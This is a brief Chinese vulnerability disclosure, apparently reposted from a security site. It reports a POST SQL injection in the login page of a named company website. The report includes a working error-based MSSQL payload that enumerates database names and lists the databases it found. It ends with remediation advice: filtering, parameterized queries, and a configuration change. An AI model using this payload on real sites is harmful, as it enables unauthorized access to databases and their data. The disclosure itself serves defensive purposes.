登入处，POST注入。无过滤，为采用参数化查询。配置设置为非OFF状态。
详细说明：

http://2011spokesman.xtep.com/login.aspx
a' and  convert(int,(select top 1 name from master.dbo.sysdatabases where name not in ('master','model','msdb','NewTbVote','Northwind','pubs','ruiwang','tbRoyData','TbVote','TbVoteTwo','tebuChild','TeBuHuDong','tebuMalas','tempdb','XClub','xtepData','xtepNewData','xtepWebData','zqRoyDaya')))=1 and 'a'='a www.2cto.com


 
修复方案：

1:过滤
2:采用参数化查询
3:配置设置为非OFF状态